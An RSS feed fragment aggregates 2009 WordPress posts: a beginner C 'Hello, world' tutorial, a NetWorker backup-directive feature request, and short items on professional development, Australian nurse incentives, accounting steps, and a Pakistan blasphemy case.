# include &#60;stdio.h&#62;</code><br />
<code><br />
main()<br />
{<br />
printf("Hello, world\n");<br />
}<br />
</code><br />
This is a C program that displays one line. &#8220;Hello, world!&#8221;</p>
<p>The first line in this program is <em>#include &#60;stdio.h&#62;</em> is the code that will tell the following function where to find the library of all the definitions the program will be asking for. This declaration is important because without it your program will not function.</p>
<p>The next section <em>main()</em> declares where the main part of the program begins.  (note the <em>main</em> is spelled all in lower case, all programs written in c are case sensitive.)</p>
<p>Next lets look at the <em>printf(&#8220;Hello, world\n&#8221;);</em> line.  Here we learn that in proper C syntax you typically end a statement with a semi-colon (;), in contrast to the English language where you would end a sentence with a period(.).  This particular statement is a <em>printf </em>statement, which in C means that something is to be displayed.  In other words <em>printf</em> is telling your computer to create an output on to your screen or &#8220;print&#8221; on to your screen.  It is unsure to what the meaning of the f at the end of the statement means.  Some speculate that it means you have some control over the format of what gets displayed where others say it is there just to make the program look more intimidating!.</p>
<p>The bracket after the <em>printf</em> contains the data that is to be displayed.  In this case the data is contained within double quotation marks (&#8220;), which is used to tell the C compiler that what is between the quotes is not C, but a bunch of characters to be displayed, or a character string.</p>
<p>The <em>\n</em> at the end of the character string is an technique for including special characters that are not part of the output.  These special techniques always begin with a backwards slash (\) and are followed by one or more characters.  In this case, the special character <em>\n</em> is  called the <em>newline</em> character and causes the display to advance to the beginning of the next line.</p>
<p>Here is a list of some other commonly used characters:</p>
<p>\a &#8211; beep (a stands for &#8220;alarm&#8221;)<br />
\b &#8211; backspace<br />
\f &#8211; form feed (usually only affects printer output)<br />
\t &#8211; go to the next tab stop (usually every 8 columns)<br />
\\ &#8211; output backslash</p>
<p>Why don&#8217;t you try out these other special characters and also adding a second <em>printf</em> function that will display &#8220;This program was made by yourname&#8221;.  Keep trying until it works out.</p>
<p>Click <a href="http://matrix.senecac.on.ca/~amaurer/IPC144/first">here </a>for sample executable<br />
Click <a href="http://matrix.senecac.on.ca/~amaurer/IPC144/first.c">here</a> for source code</p>
<p>Click here for next lesson: Input, Output, and Variables (coming soon)</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vamos aprender a programar em C/C++? Lição 05: compilação, linkedição e chamadas a bibliotecas]]></title>
<link>http://fabianovasconcelos.wordpress.com/?p=270</link>
<pubDate>Sat, 12 Sep 2009 04:12:32 +0000</pubDate>
<dc:creator>fabianovasconcelos</dc:creator>
<guid>http://fabianovasconcelos.wordpress.com/?p=270</guid>
<description><![CDATA[Salve, galerinha do país com a maior densidade de canalhas do mundo! Aos que acreditam piamente que ]]></description>
<content:encoded><![CDATA[Salve, galerinha do país com a maior densidade de canalhas do mundo! Aos que acreditam piamente que ]]></content:encoded>
</item>
<item>
<title><![CDATA[Quibbles - Directive Management]]></title>
<link>http://nsrd.wordpress.com/2009/09/03/quibbles-directive-management/</link>
<pubDate>Thu, 03 Sep 2009 08:15:20 +0000</pubDate>
<dc:creator>Preston</dc:creator>
<guid>http://nsrd.wordpress.com/2009/09/03/quibbles-directive-management/</guid>
<description><![CDATA[I&#8217;m a big fan of careful management of directives &#8211; for instance, I always go by the axi]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>I&#8217;m a big fan of careful management of directives &#8211; for instance, I always go by the axiom that it&#8217;s better to backup a little bit too much and waste some tape than it is to not backup enough and not be able to recover.</p>
<p>That being said, I&#8217;m also a big fan of correct use of directives within NetWorker &#8211; skipping files that 100% are not required, adjusting preferences for the way files are backed up (e.g., logasm), etc., are quite important to getting well running backups.</p>
<p>So needless to say it <em>bugs the hell out of me</em> that after all this time, you still can&#8217;t include a directive within a directive.</p>
<p>Or rather, you can, but it&#8217;s through a method called &#8220;copy and paste&#8221;, which as we know, doesn&#8217;t lend itself too well to auto updating functionality.</p>
<p>So the current directive format is:</p>
<pre>&#60;&#60; path &#62;&#62;
[+]asm: criteria</pre>
<p>For example, you might want directives for a system such as:</p>
<pre>&#60;&#60; / &#62;&#62;
+skip: *.mp3

&#60;&#60; /home/academics &#62;&#62;
forget

&#60;&#60; /home/students &#62;&#62;
+skip: *.mov *.m4v *.wma *.dv</pre>
<p>Now, it could be that for every Unix system, you <em>also</em> want to include <em>Unix Standard Directives</em>. Currently the only way to do this is to create a new directive where you&#8217;ve copied and pasted in all the Unix Standard Directives then added in your above criteria.</p>
<p>This, to use the appropriate technical term, is a dogs breakfast.</p>
<p>The only logical way, the way which obviously hasn&#8217;t been developed yet for NetWorker but falls into the category of &#8220;<em><strong>why the hell not</strong><strong>?</strong></em>&#8221; would be support for include statements. That way, it could be embedded into the directive itself.</p>
<p>For example, what I&#8217;m talking about is that we should be able to do the following:</p>
<pre>&#60;&#60; / &#62;&#62;
include: Unix Standard Directives

&#60;&#60; / &#62;&#62;
+skip: *.mp3

&#60;&#60; /home/academics &#62;&#62;
forget

&#60;&#60; /home/students &#62;&#62;
+skip: *.mov *.m4v *.wma *.dv</pre>
<p>Now wouldn&#8217;t that be nice? Honestly, how hard could it be?</p>
<p>NB: The correct answer to &#8220;how hard could it be?&#8221; is actually <strong><em>&#8220;I don&#8217;t care.&#8221;</em></strong> That is, there&#8217;s some things that should be done regardless of whether they&#8217;re easy to do.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Did You Develop Professionally?]]></title>
<link>http://thumannresources.com/2009/08/31/didudp/</link>
<pubDate>Tue, 01 Sep 2009 00:26:27 +0000</pubDate>
<dc:creator>lthumann</dc:creator>
<guid>http://thumannresources.com/2009/08/31/didudp/</guid>
<description><![CDATA[Image Source http://zcache.com Let&#8217;s review the facts. On June 22, 2009 I responded to Clif Mi]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><div id="attachment_990" class="wp-caption alignleft" style="width: 310px"><a href="http://rlv.zcache.com/dont_judge_me_tshirt-p2351388573442249083gr0_400.jpg"><img class="size-medium wp-image-990" title="tshirt_judge" src="http://thumannresources.wordpress.com/files/2009/08/tshirt_judge.jpg?w=300" alt="Image Source http://zcache.com" width="300" height="300" /></a><p class="wp-caption-text">Image Source http://zcache.com</p></div>
<p>Let&#8217;s review the facts.</p>
<p>On <a href="http://thumannresources.com/2009/06/22/pd_meme_09/" target="_blank">June 22, 2009</a> I responded to <a href="http://clifmims.com/blog/archives/2447" target="_blank">Clif Mim&#8217;s  Professional Development Meme</a> with the following four summer PD goals:</p>
<p><strong>My Goals:</strong></p>
<p>1. Complete the last two video podcasts for the grant project I have remaining and submit them to the funding partners.<br />
2. Record audio and or video of summer PD and upload to the <a href="http://cmsce.rutgers.edu" target="_blank">CMSCE</a> <a href="http://rutgers.edu" target="_blank">Rutgers</a> <a href="http://itunes.rutgers.edu/" target="_blank">iTunes U</a> account for archiving.<br />
3. Continue building the <a href="http://udl4all.ning.com" target="_blank">UDL4ALL Ning</a> &#8211; add resources, build community, cultivate conversations.<br />
4. Add to my<a href="http://thumannresources.com/tag/itouch/" target="_blank"> iTouch the Future</a> series of posts.</p>
<p>Now, before you judge me, stop and think about how hectic your summer has been. Think about all the time you spent with your family and friends. Think about all the work you did. Think about all you actually were able to accomplish.</p>
<p>Let&#8217;s cut to the chase. Here&#8217;s the breakdown of the excuses for not accomplishing any of my goals:</p>
<ol>
<li>I didn&#8217;t finish the video project because during my two-week vacation when I was going to work on it (this is funny, right?) I had to manually code the Center&#8217;s fall 2009-2010 catalog (link).</li>
<li>The sessions I intended on <a href="http://www.ustream.tv/recorded/1767352" target="_blank">UStreaming</a> were in fact recorded, I even uploaded them to <a href="http://blip.tv/file/2384201/" target="_blank">Blip.tv</a> . But when I went to convert and edit them down to import into <a href="http://itunes.rutgers.edu/" target="_blank">iTunesU</a> I ran into all sorts of errors that I just abandoned after a while.</li>
<li>I did add a bit to the <a href="http://udl4all.ning.com/" target="_blank">UDL4ALL Ning</a> but not as much as I had planned. I have no excuse for this one.</li>
<li>Blogging about the iPodTouch apps became less of a priority for me as my interests went elsewhere. I <a href="http://delicious.com/lthumann/ipodtouch" target="_blank">bookmarked</a> many great resources and explored many great educational applications this summer though.</li>
</ol>
<p>Though I did not comply with the 7th rule of this Meme in that I did not  achieve my goals by September 7th, I do feel that I have  developed professionally. Sometimes our priorities shift. Things happen.</p>
<p>I&#8217;m getting ready to welcome a new cohort of educators into the Center&#8217;s 21st Century Learning Initiative. I&#8217;m looking forward to the 3rd year of the INCLUDE grant and helping districts use the UDL framework to help students reach their objectives. I&#8217;m looking forward to traveling around New Jersey and the country to various conferences to speak about technology trends in education and exchange ideas with fellow ed-techies.</p>
<p>I&#8217;m looking forward to ANOTHER great year. How about you?</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Extend Cash Incentives To Nurses Who Want To Work In General Practice, Australia]]></title>
<link>http://perthrelocationlatestnews.wordpress.com/2009/08/31/extend-cash-incentives-to-nurses-who-want-to-work-in-general-practice-australia/</link>
<pubDate>Mon, 31 Aug 2009 06:03:23 +0000</pubDate>
<dc:creator>infoatperthrelocation</dc:creator>
<guid>http://perthrelocationlatestnews.wordpress.com/2009/08/31/extend-cash-incentives-to-nurses-who-want-to-work-in-general-practice-australia/</guid>
<description><![CDATA[The AMA wants the government cash incentive scheme designed to lure nurses back into the workforce t]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>The AMA wants the government cash incentive scheme designed to lure nurses back into the workforce to be extended to include nurses who want to work in general practice.</p>
<p>It was reported this week (<em>The Australian</em>, 27 August 2009) that the Federal Government&#8217;s program to bring nurses back into the workforce was failing to meet targets, with only 541 nurses recruited.</p>
<p>AMA President, Dr Andrew Pesce, said nearly $40 million over five years in funding had been set aside for the Bringing Nurses Back Into The Workforce program and it was vital that the money was used effectively.</p>
<p>&#8220;The Government&#8217;s initiative is too restrictive because it only targets public hospitals, private hospitals and aged care facilities,&#8221; Dr Pesce said.</p>
<p>&#8220;The Bringing Nurses Back Into The Workforce program ignores the important contribution that nurses can make in other parts of the health sector such as general practice.</p>
<p>&#8220;The program&#8217;s guidelines should be relaxed so that nurses who want to return to the workforce to take up a position in general practice will be eligible for funding.&#8221;</p>
<p>Around 60 per cent of general practices employ practice nurses who work collaboratively with doctors.</p>
<p>&#8220;General practice can offer nurses a very rewarding career and a great work/life balance,&#8221; Dr Pesce said.</p>
<p>&#8220;Getting more nurses into general practice supports multidisciplinary care and will free up GPs to see more patients.&#8221;</p>
<p>The AMA also believes general practices should be better supported to employ practice nurses by making practice nurse grants available to all general practices and ensuring that the <a title="What is Medicare / Medicaid?" href="http://perthrelocationlatestnews.wordpress.com/info/medicare-medicaid/whatismedicare.php">Medicare</a> Benefits Schedule recognises the full scope of patient care that GP practice nurses can provide.</p>
<p>Source<br />
<strong>Australian Medical Association</strong> <a name="ratethis"></a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Three Steps to the Accounting Process]]></title>
<link>http://asifjmir.wordpress.com/2009/08/29/three-steps-to-the-accounting-process/</link>
<pubDate>Sat, 29 Aug 2009 00:33:36 +0000</pubDate>
<dc:creator>Asif Mir</dc:creator>
<guid>http://asifjmir.wordpress.com/2009/08/29/three-steps-to-the-accounting-process/</guid>
<description><![CDATA[Step one is to bring all the information about changes in the property owned by the business to one ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Step one is to bring all the information about changes in the property owned by the business to one central location. That information is almost always on a little piece of paper. To ensure that it is included in the records it should always be on paper. Examples of the pieces of paper are invoices, bills, checks, payroll time cards, and contracts.</p>
<p>Step two is to put the information into a form that makes it easy to get it. It is hard to use the information when it is in a pile of paper. The little pieces of paper come in many sizes and shapes. It is not unusual to find that you have the fourth carbon copy and can hardly read it. This step is the process of taking the information from those little pieces of paper and making readable, chronological list of the things that have happened to change the property owned by the business.</p>
<p>Step three is to rearrange the chronological list into clusters of information that give management answers to its questions. For instance, management would like to separate out all the things that affected the equipment owned by the business. Or the CEO might like to know what things have happened that affect the cash in the bank.</p>
<p>My Consultancy–<a title="Asif J. Mir" href="http://www.asifjmir.com/" target="_blank">Asif J. Mir </a>- Management Consultant–transforms organizations where people have the freedom to be creative, a place that brings out the best in everybody–an open, fair place where people have a sense that what they do matters. For details please visit <a title="Asif J. Mir" href="http://www.asifjmir.com/" target="_blank">www.asifjmir.com</a>, <a title="Line of Sight" href="http://asifjmir.blogspot.com/" target="_blank">Line of Sight</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[In Pakistan, another Christian accused of blasphemy]]></title>
<link>http://pbaptist.wordpress.com/2009/08/27/in-pakistan-another-christian-accused-of-blasphemy/</link>
<pubDate>Thu, 27 Aug 2009 08:26:52 +0000</pubDate>
<dc:creator>Particular Kev</dc:creator>
<guid>http://pbaptist.wordpress.com/2009/08/27/in-pakistan-another-christian-accused-of-blasphemy/</guid>
<description><![CDATA[The Washington-DC based human rights organization, International Christian Concern (ICC), says it ha]]></description>
<content:encoded><![CDATA[The Washington-DC based human rights organization, International Christian Concern (ICC), says it ha]]></content:encoded>
</item>

</channel>
</rss>
